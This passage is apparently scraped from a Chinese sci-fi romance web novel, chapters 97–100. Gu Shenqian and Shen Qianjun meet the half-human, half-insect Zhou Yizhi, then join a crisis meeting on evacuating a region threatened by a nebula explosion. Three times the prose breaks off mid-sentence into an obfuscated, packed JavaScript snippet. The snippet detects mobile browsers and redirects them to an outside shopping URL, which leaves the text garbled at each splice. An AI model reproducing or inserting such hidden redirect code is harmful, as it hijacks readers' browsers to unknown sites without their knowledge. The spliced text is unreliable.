徐嘉抛尸的山坳确实隐蔽,他俩又走了一个小时有余,才终于到了地方。 说是山坳,放眼望去尽是白雪皑皑,与山脉其他地方也没什么不同。要不是联安署发现他们的时候定位了坐标,他们未必能再找到这里。 沈千峻松开她,几缕幽幽的紫色散出,消失在空气里。 不需要顾深浅发问,沈千峻主动说:“告诉他我到了。” “然后呢?” “等他来。” 沈千峻环视一圈,定睛在某一处,挥手清开了雪迹,底下竟是别有洞天。 他挑挑眉:“用这种方式,恐怕他有麻烦了。” 不知怎么,顾深浅莫名听出了点幸灾乐祸的意思。 她跟着他一路下行,底下是个小洞穴,有一条通道不知去往何处,倒是比外面暖和许多。 顾深浅诡异的感觉更甚,没忍住问道:“那人是谁?我认识吗?” “认识啊。”沈千峻勾唇,“熟得很。” 顾深浅霎时瞪大了眼,那三个字呼之欲出。 与此同时,通道方向远远地传来一道男声:“你带她来干什么?” 顾深浅僵在原地。 97. 物种 沈千峻勾起的嘴角不沾温度:“想了两百年,还在阴暗爬行。” “你们抓了两百年,不也没能赶尽杀绝?” 沈千峻目光逐渐危险:“周亦知,我现在心平气和地跟你说话,并不代表不跟你计较了。” 幽暗光线里,顾深浅好像看到周亦知笑了笑:“我只是想说,建议你别掉以轻心。” “虽然我对天文了解有限,但关于他们的天体实验,还是得到了一个明确的消息。”他抱臂站在一边,不咸不淡地说,“实验已经到了收尾阶段。沈教官,要小心了。” 沈千峻眼神复杂地打量他:“对你起疑是怎么回事?” “不确定。”周亦知说,“一开始只是隐隐地感觉,前两天内廷会议突然说徐嘉和运输小队的尸体由我处理,这太刻意了。比起信任,更像是他们的试探。” 顾深浅问:“能试探出什么?” “他怎么处理尸体,能看出很多事。”沈千峻说,“π星虫子的活体实验做了很久,善后工作都有妥善的流程和渠道,不然特监处也不可能这么多年查不到线索。像徐嘉这样满身痕迹,能基本确认是经历了长时间活体实验的尸体,是第一次被发现。” “更巧合的是,徐嘉众人的尸体看似暴露在人迹罕至的无人区,却就这么巧遇到了因为追捕犯人而误入的警察,尸体就此曝光。我说这是巧合,你信吗?” 顾深浅想了想,说:“可是,联安署就算找到了尸体,也只能证实π星人确实在用地球人作为实验品,进行活体实验。这对特监处来说已不是秘密,又有什……” 她倏地想到什么,话音猛地一顿:“尸体上有你的精神力残留!” 顾深浅喃喃自语:“你的精神力全地球独一份,特监处的目光必将聚焦在你身上。他们可以得到喘息的时间,去进行他们自己的计划;如果特监处草草了事,或者没有对你紧追不舍,就会显得你非常可疑。” 她的语气自然而熟稔,俨然在这三两句话的功夫里,已经全然把周亦知当作统一战线的自己人。 即使她还完全不知道他们是怎么样的合作关系;不知道周亦知是什么生物,什么立场;不知道周亦知做过什么,又正在做什么。 这样出于本能的信任听得沈千峻很刺耳,他抽抽嘴角,就听周亦知带着明显的笑意说:“可惜,他们没有你聪明。” “徐嘉他们身上的精神力确实是我留下的。”周亦知弯起难得真诚的弧度:“π星生物感受不到精神力。你忘了?” 啧。 沈千峻冷硬道:“直说。” 周亦知意味深长地看了他一眼:“海朝区事发,我带回了他们藏在地下的绝密档案,实验内容才得以保密。暗杀沈教官还被打了个半残,果不其然,不到半个月就进了内廷。能接触到的心思我都看过,很确定,他们是真的信任我。当时是,现在也是。” “可是徐嘉。”周亦知眼底一瞬的阴翳,“徐嘉和运输小队身上用的是新实验方案,善后工作是个麻烦。他们在特监处手里吃了大亏,几个科研主力全栽了。好巧不巧,当时我就是科研水平最高的存在,差事自然落到了我头上。可笑的是我刚领了活还没动手,徐嘉就已经被抛在就近的无人区了。” 沈千峻:“听起来像是你升太快,挡着其他虫子的路了。” “不排除这种可能。”周亦知说,“但手法太低劣,能不能伤我一千还未可知,他先自损八百。更何况,尸体处理不好,他们的实验内容有泄露风险不说,连藏身处都可能暴露。用种族的立身之本来陷害我,呵,他们要是有这样的冒险精神,你们也不至于二百年杀不尽。” 沈千峻挑眉:“用立身之本来试探你就合理?” “当然。”周亦知说,“一个是下位者为自己蝇营狗苟不顾族人,另一个,也许有更远瞻的打算呢?教官,如果他们已经找到回家的方法,自然也就没必要继续躲躲藏藏了。” “这是你的猜测。” 周亦知:“是,我猜他们天体实验的目的是回家,猜他们抛出徐嘉的尸体是为了试探我,但他们的实验进度不是。教官,最近必会出事,” 顾深浅正想说话,却忽然听到诡异的鸣声。不像是耳边,倒像是来自脑海深处的,焦躁的虫鸣。 周亦知也听到了,他远远望向通道口,神色凝重起来。他快速交代:“我先走,你们在这躲一下,等我的结界散了再撤。” 见沈千峻的点头,周亦知即刻大步走了,到结界边缘时却又顿住了脚步,侧首说:“注意安全。” 他和沈千峻不是这么说话的关系,这是跟顾深浅说的。 顾深浅临到嘴边的话还来不及说,周亦知已经走远了。 沈千峻捏住她下巴,手动帮她收回了视线,指腹划过下唇时,眸中闪着一团暗火:“在想什么?” 顾深浅没察觉不对,认真地问:“说了半天,到底要试探他什么?” “……”沈千峻收回手,无事发生似的说:“你觉得是什么?” 顾深浅思考片刻,推断说:“徐嘉等人怎么处理直接关系到他们的实验内容和藏身处是否能够保密。他们把善后事宜交给了周亦知,又在周亦知动手前抛尸在无人区,如果是试探,那么更像是在试探他的能力。” “他们想看周亦知怎么处理这件事。” “可是,冒这么大风险,难道只为了观察周亦知吗?” 她眉头慢慢蹙紧,忽然抬眸问:“你看到了周亦知在徐嘉身上留下的精神力,所以才非要来一趟,是不是?” “差不多吧。”沈千峻说,“他从小就很排斥留下自己的精神力。如果不是没得选,他不会用这种方法。” 顾深浅挑眉:“听起来你很了解他。” “不算。只是织梦常提起。”沈千峻收回手,“他小时候就是织梦的跟屁虫。当时织梦察觉到异常力量波动,出去一趟,回来就带回了个小崽子。” 他好整以暇地靠着,悠然得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13495590|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仿佛听不见虫鸣声:“小崽子看上去人畜无害,实际上危险得不可估量。他不是入侵者,又还是个孩子,没有法令适用于他,寻常的力量也治不住他。打不得骂不得,关不得放不得,徐飞扬就出了个馊主意。” 顾深浅问:“让织梦带?” 他“嗤”了声,“让我带。” “……?” 顾深浅一言难尽地看着他,沉默地移开了视线。 确实馊。 “他觉得这小子物种不明,属性不明,力量强度不明。属于高度危险生物,只有我能控制住。” “那怎么又让织梦带了?” “因为他是个精神系。”沈千峻耸耸肩,坦然承认,“我治不了精神系。” 虫鸣声逐渐放轻,顾深浅问:“说了半天,周亦知到底是什么物种?” 沈千峻黑眸涌起兴味:“你猜,嘶——” 话音未落,腿上就挨了一脚。 顾深浅紧面无表情地拽过他衣领,“我问你你就老实回答行不行?再猜来猜去,我可要严刑逼供了。” 沈千峻向下睨了眼领子上的纤细却有力的手,勾起了唇,黑眸里的危险汹涌欲出,顾深浅下意识吞咽,微微后仰:“你……” 见沈千峻有抬手的趋势,她骤然松开手想后退,意欲拉开二人间的距离。却没想到,沈千峻只是在他的手踝骨上点了点。 顾深浅一个恍神,身后靠着的沙发臂却猛地收缩,带着她往前冲。撤回的手让她和沈千峻之间毫无阻挡,她直直跌进了沈千峻的怀里。 他薄薄的一身衣服挡不住炽烈的心跳,自然也挡不住他此刻胸膛的震动。 用她送他的东西把人带到怀里,沈千峻很满意。 “这可算不上酷刑。” 顾深浅挣扎着从沈千峻怀里探出脑袋,愤愤地瞪他:“沈、千、峻,” 肇事者却少见的笑容灿烂,扬起的嘴角毫不掩饰,久违的少年气在这一笑里展现得淋漓尽致。 面对面近距离放大的男色让顾深浅气消了一半,她撇过脸轻咳了声,听上去很不耐烦地说:“是你说,我想知道的应该直接问你。” 下一秒男人的手就擒着她的下巴扭过来,黑色瞳孔直勾勾地盯着她,映出她略显慌乱的模样。 “好,问什么?再问一遍。” 男色误事,顾深浅嘟囔着不知道说了什么,一瞬间竟真的忘了自己刚才在问什么。 这模样不知哪里又戳到笑点,沈千峻闷声在她耳边笑了半天,才终于大发慈悲地给了她答案: “周亦知既不是人,也不是π星生物,更不是来自外太空星系的机械生命。他就出生在地球,是得到特监处承认的公民身份,由织梦一手教养长大。说不上根红苗正,也算个好孩子。你问我他是个什么物种……我也不知道。” 越说到后面,沈千峻脸上的笑意越发淡。在顾深浅看不到的地方,他脸上闪过戾色: “他是人虫混血。” 98. 舍弃 “最坏的情况呢?” 顾深浅瞳孔骤缩。 不等她消化,环绕着他们的结界却快速淡去,通道口涌入刚才不曾感到的凛冽寒意,像是另一端未知的出口处,离开的人过于匆忙,没来得及封上门。 沈千峻仿佛知道她在想什么,他扶着顾深浅起身,望着通道的方向,片刻后说:“他没事,已经走了。” 见顾深浅脸色不好,他弹了弹她额头,“走了。” 沈千峻没控制力道,她也顾不得抱怨,拽紧他的胳膊正要说话,沈千峻食指竖在她唇边,摇了摇头。 她心下一凛,嘴边的话咽了下去。 点点紫色粒子从他们脚底蔓延,慢慢将二人圈起。顾深浅跟着沈千峻回到地面,四下是寂静山坳,并没有生物活动的动静。 沈千峻却依然神情严肃眺望远方,一路无话地牵着她。 他的目视范围比一般人更广,倒不是简单因为五感的强化,而是精神元素的感知范围,让他能看到更远的,本应在视线外的东西。 恢复记忆的顾深浅对此深有体会,确信沈千峻是看到了她看不到的敌情,全程紧绷着神经,直到走出山区,才真正松了口气。 他们来时的脚印已经掩埋在雪色里,她回首最后望了眼不远处的皑皑雪山,极光闪耀的天空下,是夜色也遮不住的光华。 美丽之下却贫瘠到无人生存。 坐上来时的光轮车,沈千峻直奔驾驶位,顾深浅在他身边坐下:“人虫混血什么意思?你说他是π星生物和人类的孩子?怎么可能?!” “织梦研究他八年得出的结论。”沈千峻目不斜视说,“无论理论可不可能,事实就是他诞生了,并且完美地保存了人类和π星生物两种形态。” 顾深浅跳过了生物理论的崩塌,边猜测边说:“周亦知还是个孩子的时候,遇到了出任务的织梦。织梦察觉到了他的精神力的异常,把他带回了特监处,从此养在身边,顺便研究了八年。” “差不多。” “八年后,你们确认他的安全性,于是把他送到了我外公的福利院。他得以在人类社会生存,很感激特监处,因此利用种族优势,混进π星生物,做了你们的卧底?” 顾深浅还没说完自己先感觉到了不对,果然,沈千峻嗤笑一声:“这是什么知恩图报的三好少年剧本。” “……”她侧首瞪他,“那你说。” “他不是我们的卧底。只是我的‘合作者’。”沈千峻余光瞥她,“这事只有你知道,暂时保密。” “嗯?织梦也?” “尤其对他。” 顾深浅疑惑:“为什么?” 沈千峻面无表情地打个大转,驶入下一个路口,“省得他产生不必要的错觉。” “嗯?什么错觉?” 车载通讯提醒响起,是徐飞扬。 沈千峻啧声,还是先回答了顾深浅:“误以为周亦知还有救。” 她一怔。 光轮车稳稳停下,顾深浅放眼望去只看得见一片漆黑和零星灯火。 沈千峻接通了响个不停的通讯,在对面开口前冷声截断:“我到了。” 车里静了静,传来徐飞扬的声音:“……好的,206。” 沈千峻挂了。 顾深浅挑眉:“按我们计划好的行程,现在应该在休息处准备入睡了。” “计划有变。” 沈千峻牵着她的手插进衣兜,轻描淡写道:“彗星撞地球了。” “嗷。” 走出光轮车,顾深浅反应过来:“你说怎么了????” “朝蝴蝶要诞生了。” 206会议室的长圆桌边坐满了人,有顾深浅认识的,徐飞扬、织梦、乔森、隋楚、隋宁和杨楠。也有之前在远程会议上见过的熟脸和几个从未见过的,林林总总将近二十个人。身后的三排椅子上更是坐满了人,是顾深浅头一次见特监处这么大阵仗的会议。 圆桌中央投射着蝴蝶星云的立体成像,和顾深浅首次从观星系统里看到蝴蝶星云已经有了细微的区别。 当时隋楚的观星系统里,她只看到了朝蝴蝶所散发的五彩斑斓的光,经过隋宁的提醒,她才仔细地观起中央被放大的位置。 不同于朝蝴蝶整体梦幻的外观,核心位置反而是褪去色彩的纯白,隋宁给在座众人拉出特写。 这对酝酿着新生的蝴蝶翅膀间涌动着一个接一个的灰色小圆球,快速出现又快速消失,在中心的白色圆球表面看起来就一个又一个灰色小污点的更迭,且速度愈演愈烈。 “用通俗的语言解释,星云中间的粒子运动已经进行到了白热化阶段。根据最新的测算结果,地球北极光区往南半径五百公里左右的位置,都在波及范围。在云汉一号和城市防御工事完全稳定的前提下,预计其波及范围可以控制在三百公里内。” 桌子中央铺开一张地图,最北方的一块被标成了红色,触目惊心地展露在众人面前。 “科研组的建议方案是,集中城市防御工事和云汉一号的力量,在这个位置展开隔离结界。目前的估算结果来看,这里就是最大临界值了。” 顾深浅心一沉。 意思是要舍弃掉这几座城。 有人问道:“按这个方案,红色区域会怎么样?” 隋宁默了默,沉重道:“具体测算数据还没出,目前我们只能推算出一个能量阈值。最好的情况,地球保住原貌,来自宇宙的雾霾型气体涌入,挤走人类赖以生存的扬氧气,沦为死城。” “最坏的情况呢?” “炸成粉末,飘散宇宙。” 会议室因为这段对话陷入死寂,顾深浅不经意扫视,发现每个人脸上几乎都带着凝重的隐忧,却没有任何人在交头接耳,听不到一点儿窃窃私语的动静。 徐飞扬开了口:“偌大一个地球都护得住,护不住那三百公里的地方?” “护不住。”隋宁说,“正是为了护住这偌大的地球,我们才必须善用往这三百公里的每一寸土地,最大程度去吸收朝蝴蝶爆发时的能量,辅以城防工事和收缩的云汉一号,挡住对地球的影响。徐队,这三百公里是为了地球五亿平方公里而牺牲的。” “如果我非要保住呢?” “科研组暂时没有办法。” 隋宁回答 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13519244|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得很快,言辞流畅,仿佛已经确认过无数遍。说完后才发现,刚才问话的是沈千峻。 徐飞扬神色复杂,飞快地瞥了他一眼,随后对众人说:“别干坐着,有什么想法都说说。” 众人这才像得了批准,一个接一个地说起来。即使如此还是保留着最基础的秩序,丝毫不见七嘴八舌的混乱。 顾深浅忍不住侧首看向身边端坐的沈千峻。 特监处除了她以外的人都来自训练营,这里每个人都是沈千峻亲自带出来的。他们的忠诚、热爱和纪律刻在骨子里,对沈千峻有着下意识的服从和发自内心的敬重。 沈千峻本人似乎对此习以为常。 他面色严峻,眉眼间是化不开的冷意,下颌线弧度坚韧,侧面能看到他突起的脉络。 “我们还有多少时间?” “立刻和联盟接洽,24小时内确定人员撤离方案。无论结果如何,所有民众必须全部撤离。” “各地办事处留基础机动人员,腾出人手预备支援灾区民众撤离。” 徐飞扬欲言又止地望向他,他微微后仰,靠上椅背:“散会。” 话落几秒的工夫,满座一屋子的人纷纷化作数数光影,很快就只剩下桌边的人还一个未动。 顾深浅环顾一圈,心说,现在起才是真正的会议。 沈千峻十指交叉:“一个一个来,徐飞扬先说。” 徐飞扬说:“极光区所有民众全部撤离的决策,是不是再斟酌一下?极光区的普通人是最多的,我们无法区别混迹其中的虫子。如果转移过程发生意外,就是内忧外患的局面。” “你意思是放弃普通人?” 怎么可能。 顾深浅心下反驳,却意外地没听到徐飞扬否认,她错愕地看向他。 徐飞扬半垂着眼,却不难看出眸中的认真:“我的意思是,为了人类的安全,名单上的可疑人员和目前无法确认的普通人,都应该慎重处理。” 沈千峻默然盯了他半天,淡淡下了决策:“虫子不会走的,按原计划推进。下一个。” 徐飞扬还要再说出什么,织梦在桌下按住他,悄无声息地给另一边使了个眼色。 顾深浅顺着他的视线望去,是乔森。 彼时他不知有心还是无意,视线恰好扫过织梦,几不可见地点点头。 似是察觉顾深浅的目光,乔森对她笑了笑,而后说:“虫子不会走,人类可能也不会。” “联盟前阵子刚刚批了北极光区的几个项目提案。那架势相当于一次全新的经济改革了,几个本地厂家都等着这机会挣钱,鼓动着员工入股,一大批人的身家都捆绑着呢。哪怕是最轻的后果,北极光区沦为死城,他们的刚投进去的钱也都得打水漂了。” “对于底层民众来说,这些钱可能是他们一辈子的心血,北极光区的改革也承载着他们的希望。这时候让他们弃城撤走……很难说和让他们去死哪个强。” “钱可以再赚,命没了就什么都没了。”顾深浅说,“这样的取舍应该不难做。” 乔森苦笑:“顾工没穷过。” 顾深浅拧眉。 99. 吃醋。 “笃——笃——” “什么时候特监处还管民生了?”顾深浅身旁,沈千峻二指叩桌,面无表情地说:“接洽时候说明情况,联盟会处理。下一个。” 杨楠飞速在几人间环视一遍,抢先接过话头:“云汉的事儿。老大,项目组等通知呢。那边专业人士的建议是计划搁置,云汉1号保持原样,暂时不拆,继续同步搭建云汉2号。但还是需要你的最终决策。” 沈千峻挑眉:“这不一件事儿吗。” 众人一头雾水,顾深浅心下狠狠一跳。 沈千峻余光扫了她一眼,看出来她秒懂了他的意思,心情好了些。 他接着转向徐飞扬:“懂了吗?” 徐飞扬:“?” “啧。”沈千峻目光转向乔森:“你呢?” 乔森略一思考,猜测道:“您的意思是,灾区头顶的云汉1号可以照拆,同步在分界处搭建云汉2号。既不耽误备用计划进度,又是测试云汉2号的好机会。” 沈千峻不置可否,目光转向顾深浅:“你说呢?” 顾深浅神色复杂,她没有立刻回答,而是问杨楠:“云汉1号拆除,灾区的普通人觉醒精神力需要多久?” 杨楠说:“要看情况。如果精神元素契合,会很快。” 精神元素契合实际指的是,如果当年献出精神力搭建云汉的同一批人,那么只要云汉1号一拆除,他们立即可以觉醒。 她没有明说,对顾深浅来说却已经足够了。 她说:“乔森说的是一方面,另一方面,如果灾区的云汉1号拆除,精神元素回流。那么真正的普通人,就有可能会觉醒。徐队只要让民众分批撤离,把你认为可疑的留到最后。虽然未必是百分百正确,但在依然没筛选的人里找,你的筛选准确率会高很多。” 徐飞扬一愣。 沈千峻嗤笑,目光转冷:“在座各位,哪个过过穷日子吗?” 乔森双眼蓦地放大,正要说什么,就听沈千峻继续说:“看来一个人的理解能力并不与生活条件的贫富相关。” 乔森脱口而出:“我不是那个意思!” “是不是重要吗?”沈千峻声音冷冽,俨然动了真怒,“言者无意,听者有心。乔森,你要坐的位置上,由不得你这么说话。” 没有被训诫的不悦,顾深浅在他脸上看到的几乎都是说错话之后的懊悔。 他真诚地注视着顾深浅:“对不起顾工,是我不会说话,你别往心里去。” 顾深浅莞尔:“没关系的。” 她看着乔森的脸,有一瞬的恍惚。 明明刚认识他时候,他还是个从不肯喊人姐姐的小朋友,却在第一次协助她时就主动喊了她姐姐。 从什么时候起,他开始喊她“顾工”了? 沈千峻周身气压还是很低,他冷声说:“还有吗?下一个。” 会议室里一片寂静,顾深浅眼见地看见科研二组的组长嘴唇动了动,又闭上了。 “散会。” 沈千峻语毕,桌边一圈人霎时凝成光圈,原地消失。偌大的会议室里只剩下顾深浅和沈千峻,还有头顶高悬的暖光灯。 顾深浅提醒:“科研二组好像还有话说。” “他们没事。”沈千峻按按眉心,“海朝区的地下通道里,当时搜索到的实验材料和逮捕的π星生物一直是科研二组在研究。应该是确认了π星在进行类人实验的信息想汇报。” “然后看你脸色太差没说出口。” 沈千峻动作一顿,歪过头脑袋枕在手背上:“我看上去脸色很差?” 她诚实地点头:“憋着火随时准备揍人的样子。” “哦?”他似笑非笑,“我准备揍哪个?” 顾深浅眨眨眼:“现在不准备了。你现在看上去很和善。” “呵。”沈千峻意味不明地笑了声,扣着她的后颈往前带,惩罚似的咬了口脸颊,幽幽地说:“我给你出气,你二话不说原谅了还冲人家笑?可以啊,顾深浅。” “……小孩子的醋也吃。” 顾深浅揉揉脸,在他微咪的眼里嗅到了危险,凑近亲了他一口:“你最好了,下次不了。” 沈千峻表情古怪,愣神的间隙让顾深浅成功逮到机会脱离桎梏,她站起来拉着他的手:“回去吗?我困了。” “回。”他顺势站起来,舔了舔被亲到的地方,恶意点评:“敷衍。” ……嗷。 敷衍不敷衍的,挺受用就是了。 回到住处,沈千峻手把手教她不敷衍的哄法,越教越凶。直到洗完澡,顾深浅力竭地耷拉着眼皮。 什么徐嘉、抛尸、卧底、人虫混血、北极光区、朝蝴蝶……桩桩件件积压在心头的,这一刻都被短暂地抛到了脑后。 她趴在沈千峻肩头,扒着他喃喃:“沈……” 男人掌心覆在她脑后揉揉,安抚的一吻落在她眼角:“我在,天塌不了。睡吧。” 沉稳醇厚的嗓音带着男人独特的魔力,咒语般地带着顾深浅沉沉睡去。 再睁眼时,屋内一片昏暗,沈千峻靠坐在她身边,在专心致志地处理公务。 他的光脑自从上次对她开放后,权限一直没有改。此刻可见度被调到了最低,星星点点的内容散落在眼前,顾深浅的视角可以一览无余。 她睡眼惺忪地侧过身枕在他胳膊上,带着初醒的沙哑:“几点了?” 沈千峻揽她入怀,在她发顶薅了把:“还早,再睡会儿。” 顾深浅半睁着眼,“科研”“实验失败”等字样映入眼帘,她揉揉眼睛,彻底醒了:“π星实验失败?” “嗯。二组结论认为,综合地下通道发现的实验痕迹,π星在进行的,是一种形态转化实验。他们想让自己拥有人类形态,但一直没有成功。联安署也联系了当时救出的幸存者,据他们所说,他们在那里看到的都虫子,没见过人类。” “幸存者的证词证明不了这个结论。”顾深浅说,“地下通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13546242|128986||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道那么大,他们被关在某一个地方,所见有限。而且,没见过人类的可能性很多。如果π星的实验失败,徐嘉和韩轩算什么,失败品?” 不等沈千峻说话,她先行给出了结论:“韩轩有可能,但徐嘉不可能。我们在场景重现里看着徐嘉动的手,事后虽然被当作伤兵送到了医院。但他设计杀害林珊,绝对是清醒的。” 沈千峻说:“正是因为这样,我倒是觉得,比起形态转换,韩轩和徐嘉更像是两个被征用的躯壳。一旦目的达成,藏在他们身体里的东西潜逃,身体自然死亡,表面上尘埃落定。” “徐嘉怎么说?他在医院躺了很久,身体都没有死亡。” “说明他身体里的东西没有逃,一直潜伏着。”沈千峻换了个姿势,让她躺得舒服点,“否则的话,π星怎么精准找到他们的位置,带走徐嘉和运输小队?运输徐嘉的人和车都是当地驻军提供。他们训练严苛,平时连离开基地的资格都没有,没机会串通谁。” 顾深浅顺着思路猜测道:“你的意思是,π星生物潜伏在徐嘉体内,但他害怕进研究所,所以放出了求救信号,π星用某种空间技能救走了他。他回到自己人的地方,徐嘉这个躯壳也就没用了,干脆当作实验样本,用完就扔。” 沈千峻勾起嘲讽的弧度:“扔也不白扔。” “还要用这个动作试探周亦知。”顾深浅反应飞快地接道,“如果真的像他猜测的,他们已经找到了回家的路,那么周亦知作为半个同胞,要不要带他走,想必也是难题。所以既要看他对种族的忠诚,也要看他的能力,能为种族带来什么。” 沈千峻轻吻她的发顶,低声说:“真聪明。” “还有聪明的。”她跨坐到他身上,双臂勾上他的脖颈,听着沈千峻一秒间的呼吸不匀,得意地翘起嘴角,“我说,特级羁押室的事,从一开始就是你和周亦知做的局吧?” 沈千峻挑眉,顾深浅没有错过他眸中转瞬即逝的惊讶,满意地继续说:“有韩轩死在羁押室,联盟才会对一具尸体的精神领域投入精力。事件牵扯到了联安署署长,人类才愿意坐下来讨论,身体和精神领域单体存活的可能。” “我说得对不对,沈千峻?” 沈千峻漆黑的瞳孔几乎和房间融为一体,深邃得顾深浅看不清里面的情绪:“你觉得,我做什么局,会把你牵连到那一步?” 顾深浅动作僵住。 是了,她在那一天精神领域碎尽,如果不是提前埋下了玖安借给她的力量,她未必能撑过那天。 沈千峻当天的神色再次浮现,顾深浅勾着他脖颈的手紧了紧。 这对他不是什么愉快的记忆。 她咬咬唇,收紧胳膊抱住他,下巴搁在他肩膀上时,才有了一丝实感。 这姿势似乎也成功安抚了沈千峻,男人掌心贴着她的背脊,将她固定在怀里。她耳边若隐若现地传来一声叹息。 “不是我和他做的,但确实是个局。”沈千峻说,“你是预料之外。” 100. 分工 “韩轩早就死了。” 沈千峻说:“他们没有精神力,却懂得如何在保留身体机能的前提下杀死精神体,并借机潜入人类的各个核心机关。除了不敢在特监处的人面前晃悠,联盟的各个政要机关,几乎都有他们的人。里外上下,有无数个韩轩。” 顾深浅惊讶地竖起来:“你早知道这些,居然按捺着不动?撤离时候他们动手脚的话怎么办?” “小心。”沈千峻怕她动作太大摔了,手上稳稳托着,“特级羁押室审周亦知那天知道的。” 顾深浅眼珠一转:“所以,那天其实是周亦知带着韩轩来找你投诚,你俩秘密达成了只有彼此知道的合作。” “差不多。”沈千峻说,“特级羁押室就能封住他的大部分力量,他再蓄意激怒我,在威压下他的能力会被最大程度地压制。这种情况下,他最后的力量用来隔离虫子不让我发现,就显得顺理成章多了。” “你们也就有了最安全的谈话场所。” 顾深浅突然凑近,她没有追问他们具体达成了什么样的合作,而是一瞬不眨地盯着他:“你们是不是很快就要收网了?” 沈千峻岿然不动:“差不多。” “蝴蝶星云的事完全在你们的计划外。” “是。” 她纳闷地撇嘴:“那你为什么还这么淡定?” 沈千峻忍无可忍,拎着她往后退了些,一语双关:“没你想得那么淡定。” 顾深浅秒懂,耳根微微发烫。她清清嗓子缓解尴尬,一边无事发生地从沈千峻身上下来,步履匆匆地往洗手间走:“我去洗漱。” 温和的水流覆在脸上时,顾深浅才算真正醒过来,看一眼时间还不到七点。 沈千峻这次没糊弄她,是真的还早。 她随手打开光脑,首先回复了顾明朗的日常慰问,收钱感谢日常问好,三连结束才轮到下一个。 是实验室的小群组。 导师不见了,学姐毕业了,刚来的小学妹凋零了。陈希这一原本风光的师门现在只剩下柏莎和陶生,走在曼大路上都得被难免被议论。 深浅给他们俩分别介绍了两位合适的导师,现在也算步入正轨,很多学术问题依然会请教顾深浅,于是建了个小群组。 这会儿倒不是讨论学术问题。 陶生:【解家那位来找学姐两次了,不知道打的什么主意。】 柏莎:【也去你实验室了?】 陶生:【上周来了一次,今天又过来了。你也?】 柏莎:【这会儿刚走。】 柏莎:【不过学姐,我看她样子好像是真有急事找你,你要不给她回个电话?】 信息是昨天的留言,她没回他们就继续聊别的了。她大致看了遍,没发现二人解决不了的问题,于是又进去到了下一个。 来自未知号码的对话框,新的未读又多了一条,时间是昨晚:【北极光区天要塌,不管你要去干什么,务必一个月后再考虑。】 看来解思涵并不知道她已经到极光区了。 顾深浅处理完公务信息,准备洗漱回去,光脑却临时收到一条紧急推送,是联盟发布的关于北极光区及周边三城的灾难声明。 昨晚开会时候沈千峻刚让接洽,今天就发布了灾难声明,速度有点太快了。 这个时效下,一切工作的调动都是极限加急,不知多少人整宿没睡,至今还坚守在岗位上。 为什么这么急? 她沉默地摸摸耳钉关上光脑,梳洗完出去,远远就听见了徐飞扬的声音:“……已经达成一致,会先进行民众的撤离工作。联安署和驻军主导,特监处负责监察。” “好。按计划推进。” 沈千峻不知什么时候已经换了身工装,单薄的卫衣看得顾深浅头皮发麻。他也看到了她,招招手示意她过去,同时问徐飞扬:“你什么时候到?乔森一起过来吗?” “我都到了。”徐飞扬意味深长地看了一眼他身边的顾深浅,有理有据地说:“乔森就不来了。他名字下的政绩够多了。要坐稳位置,不能总在前线默默不发声了,总要让他表现一下。这是千载难逢的机会。” “哦,这样。”沈千峻没有追问,“那也行。安排一副机甲给顾深浅,她协助你们进行人员撤离工作。” 嗯? “嗯?”徐飞扬比顾深浅更惊讶,“不带她一起?” “不安全。” 沈千峻望向她:“想去吗?见见他们口中‘穷过’的人。” 顾深浅挑眉,问徐飞扬:“能把我天龙带来吗?” 徐飞扬:“顾工,你只是协助民众撤离,不是去歼灭敌军。要战斗甲干嘛?” 顾深浅:“你老大说了呀。不、安、全。” “……” “咳。”徐飞扬咳了咳,“那个,霍普也过来了。石诏他们给他做了个机械体,虽然比不上战斗机甲,但他认你做主人,配合你化形做日常机甲应该没什么问题。” “霍普?”顾深浅愣了愣,“他知道蝴蝶星云的事了?” “全民警告的灾难声明,特监处既然承认他的公民身份,他肯定也会收到。”徐飞扬说,“怎么了?” 顾深浅掀了掀唇,最终抿上了嘴:“没事。” 徐飞扬不明所以,沈千峻截断了话头,“挂了。” 画面无情切断,顾深浅唇珠贴上了他温热指腹,沈千峻微微低着头将她抿着的唇捻开:“担心霍普?” “他在和我共同抵御危难的时候诞生,意识觉醒第一件事就是保护我,我直觉他不是个坏孩子。”顾深浅无声叹息,“可他说的那些我们完全无法求证。甚至站在他的立场,云汉变动之际恰是他离开地球的好机会。种族不同,立场也未必相同,把他带到生死存亡的前线,总觉得冒险了。” “那怎么又不说?” “不是让他跟着我?我看着他就好了。”顾深浅扬起唇角,“虽然技能不见了,力量可没弱,还能压不住一副机甲吗?” 她的笑里带着一丝狡黠,又透着掩不住的自信风度,是在她还是安安的时候就常常被掩藏的东西,这一瞬的展露绚烂得沈千峻挪不开眼,俯身凑近。 